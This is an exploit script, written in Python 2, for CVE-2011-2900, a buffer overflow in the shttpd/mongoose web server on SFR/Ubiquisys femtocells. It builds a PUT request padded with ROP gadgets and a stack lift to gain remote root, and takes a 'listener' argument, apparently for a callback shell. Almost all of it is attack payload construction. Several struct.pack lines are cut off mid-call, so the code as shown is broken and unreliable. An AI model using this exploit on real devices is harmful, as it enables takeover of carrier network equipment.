#!/usr/bin/env python # part of femtocell research by TU-Berlin # only for educational purposes # Exploit Title: remote root on sfr/ubiquisys femtocell webserver (wsal/shttpd/mongoose) # Date: 2011-08-02 # Author: nion # Software: http://code.google.com/p/mongoose/ http://sourceforge.net/projects/shttpd/ # Version: shttpd <= 1.42, mongoose <= 3.0 # CVE: CVE-2011-2900 # Tested on: Linux (proprietary embedded distro) Linux 2.6.18-ubi-sys-V2.0.17 import socket, sys, time import urllib, struct if(len(sys.argv) < 3): print sys.argv[0] + " " sys.exit(-1) target = sys.argv[1] listener = sys.argv[2] SHELLCODE = 0xbc568 # shellcode backup in connect struct, heap is not randomized STACK_LIFT = "%a0%ce%31%40" # didnt want to use urllib to encode at this point # because it moves the heap address depending on if character is printable or not # and i was too lazy to adjust the payload when cleaning up the exploit :) buf = "PUT /" buf += "A" * 107 # first fill bytes will not be 148 because stack layout looks different when leaving put_dir() buf += STACK_LIFT # repeated stack lifting for i in xrange(0, 26): buf += "A" * 148 buf += STACK_LIFT buf += "B"*132 # padding to overwrite pc, last jump will go over this one buf += STACK_LIFT # this will hit pc and produce our first jump # add sp, sp, #132; pop {r4, r5, r6, r7, pc} buf += "A"*12 # this will be our last stack lifting after buf += STACK_LIFT # jumping through our buffer back up # lets finish the path chunk and make some padding for the # last stack lift before pc gets popped to a different place buf+="AAAAAAAAA/"+"A"*138 # first jump buf += urllib.quote(struct.pack(": pop {lr} ; (ldr lr, [sp], #4) # 0x4032a414 : add sp, sp, #8 ; 0x8 # 0x4032a418 : bx lr buf+=urllib.quote(struct.pack(": pop {r4, pc} buf+="CCCC" # dummy r4 buf+=urllib.quote(struct.pack(": pop {r0, r1, r2, r3, pc} buf+="AAAA" # dummy r0 buf+="CCCC" # dummy r1 (needed for __clear_cache) buf+="DDDD"*2 # dummy r2, r3 buf+=urllib.quote(struct.pack(": mov r0, r11 # 0x40364bc0 : pop {r4, r5, r6, r7, r8, r9, r11, pc} # at this point r11 points to an address on the heap in front of # our shellcode, e.g. 0xad220 buf+="FFFF"*7 # dummy r4-r9+r11 buf+=urllib.quote(struct.pack(": pop {r4, pc} buf+="AAAA" # dummy r4 buf +=urllib.quote(struct.pack("